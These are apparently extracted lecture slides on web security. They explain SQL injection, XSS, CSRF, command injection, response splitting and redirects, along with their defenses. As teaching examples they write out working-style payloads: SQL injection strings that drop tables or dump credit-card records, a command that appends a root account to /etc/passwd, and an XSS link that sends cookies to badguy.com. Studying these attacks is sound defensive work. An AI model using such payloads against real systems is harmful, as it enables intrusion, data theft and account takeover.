Chapter 8 - Web Security
Chapter 8 - Web Security
Collected Material
1
Ethics
• Only hack into sites you own
– Or you have permission
• Popular sites may have bug bounty
program
– Facebook
– github
– Google
• You will get caught
Tech
• HTTP
• HTML
• CSS
• JavaScript
• SQL
• Server-Side Code (Python/PHP/Ruby)
Many Vulnerabilities
• Cross-Site Scripting (XSS)
• SQL Injection
• Cross-Site Request Forgery (XSRF)
• HTTP Parameter Pollution (HPP)
• Command Injection
• Parameter Manipulation
• File Exposure
• Directory Traversal
• Forced Browsing
• Logic Flaws
• Execution After Redirect (EAR)
Tech
• HTTP
• HTML
• CSS
• JavaScript
• SQL
• Server-Side (Python/PHP/Ruby)
HTML
• Original HTML had
– images
– tables
– font sizes
–…
• Content was static
https://web.archive.org/web/19961017235908/http://www2.yahoo.com/
https://web.archive.org/web/19961022174810/http://www.altavista.com/
https://web.archive.org/web/19981202230410/http://www.google.com/
HTML Design
• HTML designed to describe a text
document with hyperlinks to other
documents
• How to do fancy animations or pretty web
pages?
Interactive HTML
• Java Applets
– Your computer downloads java bytecode from a random
website and runs it
• What could possibly go wrong?
• ActiveX Controls
– Binary, OS-specific programs that are downloaded and
executed in the context of a web page
• Adobe Flash
– Fundamentally a vector graphics and animation engine
• Silverlight
– Microsoft competitor and replacement/upgrade to ActiveX
• JavaScript
– Lingua franca of the web
JavaScript
• Code can be embedded into HTML pages using the script element and
(optionally storing the code in HTML comments)
<script>
<!--
var name = prompt('Please enter your name below.', '');
if (name == null) {
document.write('Welcome to my site!');
}
else {
document.write('Welcome to my site ' + name + '!');
}
-->
</script>
<script type="text/javascript">
<script language="javascript">
DOM Example
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>DOM Example</title>
</head>
<body>
<h1>DOM Example</h1>
<div id='insert_here'>
</div>
</body>
<script>
var hr = document.createElement('HR');
document.getElementById('insert_here').appendChild(hr);
</script>
</html>
Web Applications
HTTP SQL
Web Applications
HTTP SQL
JavaScrip
t
Web Applications
HTTP SQL
JavaScrip
t
HTTP Client Request
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: www.facebook.com
Accept: */*
HTTP Server Response
HTTP/1.1 200 OK
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Set-Cookie: datr=cohyVEAwQmq5jJh2cWZ9pZc9; expires=Wed, 23-Nov-2016 01:22:58 GMT;
Max-Age=63072000; path=/; domain=.facebook.com; httponly
Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0;
path=/; domain=.facebook.com
Set-Cookie: reg_fb_ref=https%3A%2F%2Fround-lake.dustinice.workers.dev%3A443%2Fhttps%2Fwww.facebook.com%2F; path=/;
domain=.facebook.com
Set-Cookie: reg_fb_gate=https%3A%2F%2Fround-lake.dustinice.workers.dev%3A443%2Fhttps%2Fwww.facebook.com%2F; path=/;
domain=.facebook.com
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html lang="en" id="facebook" class="no_js">
<head>
<script>
...
</script>
<title id="pageTitle">Welcome to Facebook - Log In, Sign Up or Learn More</title>
JavaScript Security
• Browsers are downloading and running foreign
(JavaScript) code, sometimes concurrently
• The security of JavaScript code execution is
guaranteed by a sandboxing mechanism (similar
to what we saw in Java applets)
– No access to local files
– No access to (most) network resources
– No incredibly small windows
– No access to the browser's history
– …
• The details of the sandbox depend on the browser
Web application code
Runs on web server or app server.
Takes input from web users (via web server)
Examples:
Shopping carts, home banking, bill pay, tax
prep, …
New code written for every web site.
Written in:
C, PHP, Perl, Python, JSP, ASP, …
27
Common vulnerabilities
SQL Injection
Browser sends malicious input to server
28
OWASP Top 10 Security Vulnerabilities
• 1 - Cross Site Scripting (XSS) XSS flaws occur whenever an application takes user supplied data and sends it to a web
browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's
browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.
• 2 - Injection Flaws Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when
user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the
interpreter into executing unintended commands or changing data.
• 3 - Malicious File Execution Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and
data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP,
XML and any framework which accepts filenames or files from users.
• 4 - Insecure Direct Object Reference A direct object reference occurs when a developer exposes a reference to an
internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.
Attackers can manipulate those references to access other objects without authorization.
• 5 - Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim's browser to send a pre-authenticated
request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the
benefit of the attacker. CSRF can be as powerful as the web application that it attacks.
• 6 - Information Leakage and Improper Error Handling Applications can unintentionally leak information about their
configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this
weakness to steal sensitive data, or conduct more serious attacks.
• 7 - Broken Authentication and Session Management Account credentials and session tokens are often not properly
protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.
• 8 - Insecure Cryptographic Storage Web applications rarely use cryptographic functions properly to protect data and
credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
• 9 - Insecure Communications Applications frequently fail to encrypt network traffic when it is necessary to protect
sensitive communications.
• 10 - Failure to Restrict URL Access Frequently, an application only protects sensitive functionality by preventing the
display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized
operations by accessing those URLs directly.
29
OWASP Top 2: Injection Flaws (SQL Injection)
30
SQL Injection
31
Dynamic Web Application
GET / HTTP/1.0
Browser
Web
server
HTTP/1.1 200 OK
index.php
Database
server
32
PHP: Hypertext
Preprocessor
Server scripting language with C-like syntax
Can intermingle static HTML and code
<input value=<?php echo $myvalue; ?
>>
Can embed variables in double-quote strings
$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” .
$user . “!”;
Form data in global arrays $_GET, $_POST, …
33
SQL
Widely used database query language
Fetch a set of records
SELECT * FROM Person WHERE
Username=‘grader’
Add data to the table
INSERT INTO Person (Username, Zoobars)
VALUES (‘grader’, 10)
Modify data
UPDATE Person SET Zoobars=42 WHERE
PersonID=5
Query syntax (mostly) independent of
34
In context of project 2 …
Sample PHP
$recipient = $_POST[‘recipient’];
$sql = "SELECT PersonID FROM Person WHERE
Username='$recipient'";
$rs = $db->executeQuery($sql);
Problem
What if ‘recipient’ is malicious string
35
Basic picture: SQL
Injection
Victim Server
s f o rm
u
tm alicio
1 pos
2
unintende
3 receive valuable d query
Attacker data
Victim SQL DB
36
CardSystems Attack
CardSystems
credit card payment processing company
SQL injection attack in June 2005
put out of business
The Attack
263,000 credit card #s stolen from database
credit card #s stored unencrypted
43 million credit card #s exposed
37
April 2008 SQL
Vulnerabilities
Main steps in this attack
Use Google to find sites using a particular ASP
style vulnerable to SQL injection
Use SQL injection on these sites to modify the
page to include a link to a Chinese site
nihaorr1.com
Don't visit that site yourself!
The site (nihaorr1.com) serves Javascript that
exploits vulnerabilities in IE, RealPlayer, QQ
Instant Messenger
Enter
Username
& SELECT passwd
Web Password FROM USERS
Web WHERE uname
Browser DB
Server IS ‘$username’
(Client)
42
SQL Injection Examples
43
SQL Injection Examples
Enter
Username
& SELECT passwd
Web Password FROM USERS
Web WHERE uname
Browser DB
Server IS ‘smith’
(Client)
Normal
Query
SQL Injection Examples
45
SQL Injection Examples
Malicious Query
Enter
Username SELECT passwd
& FROM USERS
Web Password WHERE uname
Web
Browser DB
Server IS ‘’; DROP TABLE
(Client) USERS; -- ‘
Eliminates all
user accounts
What is SQL Injection?
Input Validation Vulnerability
untrusted user input in SQL query to back-end
database
without sanitizing the data
Why Bad?
supplied data can be misinterpreted as a
command
could alter the intended effect of command or
query
47
SQL Injection Examples
48
SQL Injection Examples
Norma SELECT pizza, toppings, quantity, order_day
FROM orders
l WHERE userid=4123
SQL AND order_month=10
Query
Type 2 For order_month parameter, attacker could input
Attack
WHERE condition
0 OR 1=1 is always true!
Gives attacker access
to other users’
Maliciou … private data!
s WHERE userid=4123
AND order_month=0 OR 1=1
Query
49
SQL Injection Examples
50
SQL Injection Examples
A more damaging breach of user privacy:
For order_month parameter, attacker could input
0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
FROM creditcards
Attacker is able to
Combine the results of two queries
51
SQL Injection Examples
52
More Attacks
• Create new users:
‘; INSERT INTO USERS (‘uname’,’passwd’,
‘salt’) VALUES (‘hacker’,’38a74f’, 3234);
• Password reset:
‘; UPDATE USERS SET
[email protected] WHERE
[email protected]
Second-Order SQL
Injection
Second-Order SQL Injection: attack where
data stored in database is later used to
conduct SQL injection
54
Preventing SQL Injection
Input validation
Filter
Whitelisting
Blacklisting chars doesn’t work
56
Prepared Statements
Metacharacters (e.g. ‘) in queries provide
distinction between data & control
Most attacks: data interpreted as control /
alters the semantics of a
query/cmd
Bind Variables: ? placeholders guaranteed to be
data (not control)
Prepared Statements allow creation of static
queries with bind variables → preserves the
structure of intended query
57
Prepared
Statement:Example
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day
+ "FROM orders WHERE userid=? AND order_month=?
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Bind Variable:
Data
Placeholder
• query parsed w/o parameters
• bind variables are typed e.g. int, string, etc…*
Parameterized SQL
Build SQL queries by properly escaping args: ′ \′
59
Mitigating Impacts
Prevent Schema & Information Leaks
60
Other command injection
Example: PHP server-side code for sending
email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
OR
http://yourdomain.com/mail.pl?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
Cross Site Scripting (XSS)
OWASP Top 1: Cross Site Scripting
– What is Cross Site Scripting?
• In it’s simplest form, it’s a process that can occur anywhere a web application
uses input from a malicious user to generate output without validating or
encoding the input.
• During a Cross Site Scripting attack, a malicious source sends a script that is
executed by the end user’s browser. It allows attackers to embed code from
one webpage into another webpage by changing its HTML code .
• It’s been used to deface web sites, conduct phishing attacks, or it can take over
a user’s browser and force them to execute commands they’re unaware of .
• Cross Site Scripting attacks usually come in the form of JavaScript however,
any active content poses a potential danger .
– Prevention
• Validate the users input against what is expected
• Encode user supplied output
• After you believe you’ve done the right things during code development,
inspect your code with a scan.
63
Basic picture: Cross-site
scripting
Attack Server
w e b site
1 visit age
u s p
m a licio
ve
2recei le d ata
v a lu ab
d
5 se n
3
User Victim clic
4 k on
l
ech ink
o us
er i Server Victim
np u
t
64
The setup
User input is echoed into HTML response.
Is this exploitable? 65
Bad input
Consider link: (properly URL encoded)
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
What if user clicks on this link?
1. Browser goes to victim.com/search.php
2. Victim.com returns
<HTML> Results for <script> …
</script>
3. Browser executes script:
Sends badguy.com cookie for victim.com
66
So what?
Why would user click on such a link?
Phishing email in webmail client (e.g. gmail).
Link in doubleclick banner ad
… many many ways to fool user into clicking
3
User Victim clic
4 k on
l
ech ink
o us
er i Server Victim
np u
t
70
Avoiding XSS bugs (PHP)
Main problem:
Input checking is difficult --- many ways to inject
htmlspecialchars(
"<a href='test'>Test</a>", ENT_QUOTES);
Outputs:
<a href='test'>Test</a>
71
Avoiding XSS bugs (ASP.NET)
ASP.NET 1.1:
Server.HtmlEncode(string)
Similar to PHP htmlspecialchars
Can be disabled:
<%@ Page
validateRequest=“false" %> 72
73
httpOnly Cookies (IE)
GET …
Browser
Server
HTTP Header:
Set-cookie: NAME=VALUE ;
HttpOnly
74
Cross-Site Scripting (XSS)
• XSS attacks are used to bypass
JavaScript's Same Origin Policy
XSS – Example
<html>
<body>
<p>Hello <?= $name ?></p>
</body>
</html>
http://example.com/test.php?name=adam
<html>
<body>
<p>Hello <?= $name ?
></p>
</body>
</html>
http://example.com/test.php?name=adam
<html>
<body>
<p>Hello adam</p>
</body>
</html>
http://example.com/test.php?name=adam
<html>
<body>
<p>Hello adam</p>
</body>
</html>
http://example.com/test.php?name=<script>alert(‘xss’)</
script>
<html>
<body>
<p>Hello <?= $name ?
></p>
</body>
</html>
http://example.com/test.php?name=<script>alert(‘xss’)</
script>
<html>
<body>
<p>Hello
<script>alert(‘xss’)</script>
</p>
</body>
</html>
http://example.com/test.php?name=<script>alert(‘xss’)</
script>
<html>
<body>
<p>Hello
<script>alert(‘xss’)</script
>
</p>
</body>
</html>
XSS – Prevention
• XSS is very difficult to prevent
• Every piece of data that is returned to the user
and that can be influenced by the inputs to the
application must first be sanitized (GET
parameters, POST parameters, Cookies, request
headers, database contents, file contents)
• Specific languages (e.g., PHP) often provide
routines to prevent the introduction of code
– Sanitization has to be performed differently
depending on where the data is used
– This context-sensitivity of sanitization has been
studied by the research community
86
XSS – Prevention
• Sanitize all user inputs using known
sanitization routine
e s s ion
tab lish s
1 es
q u e st
e dr e
o r g
s e n df
4
2 v
isit
3 se r v
User Victim rec er
e
pag ive ma
e licio Attack Server
us
: au th e n ti cator
Set-cookie
GET…
Cookie:
authentic
ator
r e sp o n se
http://example.com/test.php?name=
http://example.com/test.php?name=
HTTP
Reflected XSS
JavaScrip
t
http://example.com/test.php?title=
SQL
HTTP SQL
Stored XSS
JavaScrip
t
Exploits – Phishing
• Malicious JavaScript can completely
control the DOM
HTTP SQL
JavaScrip
t
Exploits – Unauthorized Actions
• JavaScript can make requests to the web
application
– Browser sends cookies
– Appears as if the user made the request
(clicked the link or filled out the form)
• Malicious JavaScript can make requests to
the web application on your behalf
JavaScrip
t
Exploits – Worms
• Stored XSS vulnerability + Unauthorized
Actions
– Self-propagating worm
Problem:
cookie auth is insufficient when side effects can
Another example: Home
Routers
[SRJ’07]
Fact:
50% of home users use a broadband router with a
default or no password
Drive-by Pharming attack: User visits malicious site
JavaScript at site scans home network looking for
broadband router:
• SOP allows “send only” messages
• Detect success using onerror:
<IMG SRC=192.168.0.1 onError = do() >
Once found, login to router and change DNS server
Problem: “send-only” access is sufficient to reprogram
router
106
CSRF Defenses
Secret token
Place nonce in page/form from honest site
Check nonce in POST
Confirm part of ongoing session with server
Token in POST can be HMAC of session ID in
cookie
Check referer (sic) header
Referer header is provided by browser, not
script
Unfortunately, often filtered for privacy reasons
Use custom headers via XMLHttpRequest
This requires global change in server apps 107
Login CSRF
Referer header filtering
CSRF Recommendations
Login CSRF
Strict Referer validation
Login forms typically submit over HTTPS, not
blocked
HTTPS sites, such as banking sites
Use strict Referer validation to protect against CSRF
Other
Use Ruby-on-Rails or other framework that
implements secret token method correctl y
Future
Alternative to Referer with fewer privacy problems
Send only on POST, send only necessary data
110
More server-side problems
HTTP Response Splitting
Site Redirects
HTTP Response Splitting: The
setup
User input echoed in HTTP header.
Is this exploitable?
112
Bad input
http://.../by_lang.jsp ? lang=
“ french \n
Content-length: 0 \r\n\r\n
HTTP/1.1 200 OK
Spoofed page ” (URL encoded)
113
Bad input
HTTP response from server looks like:
HTTP/1.1 200 OK
Content-length: 217
Spoofed page
114
So what?
What just happened:
Attacker submitted bad URL to victim.com
So what?
Cache servers along path now store spoof of
victim.com
Will fool any user using same cache server
115
Redirects
EZShopper.com shopping cart (10/2004):
http://…/cgi-bin/ loadpage.cgi ? page=url
Redirects browser to url
Problem: phishing
http://victim.com/cgi-bin/loadpage ?
page=phisher.com
Link to victim.com puts user at phisher.com
Local redirects should ensure target URL is local 116
Sample phishing email
How does this lead to spoof
page?
Link displayed
https://www.start.earthlink.net/track?billing.asp
Actual link in html email
source:https://start.earthlink.net/track?
id=101fe84398a866372f999c983d8973e77438a9
93847183bca43d7ad47e99219a907871c773400b
8328898787762c&url=http://202.69.39.30/
snkee/billing.htm?session_id=8495...
Website resolved to
http://202.69.39.30/snkee/billing.htm?
session_id=8495...
Additional solutions
Web Application Firewalls
Help prevent some attacks we discuss today:
• Cross site scripting
• SQL Injection
• Cookie poisoning
Sample products:
Imperva
Kavado Interdo
F5 TrafficShield
Citrix NetScaler
CheckPoint Web Intel
120
Code checking
Blackbox security testing services:
Whitehatsec.com
eEye, Retina
122
Tools
• Browser Developer Tools
• Wireshark
• Burp Proxy
• SQLMap
• OWASP Broken Web Apps Project
– https://www.owasp.org/index.php/
OWASP_Broken_Web_Applications_Project
• Google Gruyere
– https://google-gruyere.appspot.com/
Summary
SQL Injection
Bad input checking allows malicious SQL query
…
CSRF – Cross-site request forgery
Forged request leveraging ongoing session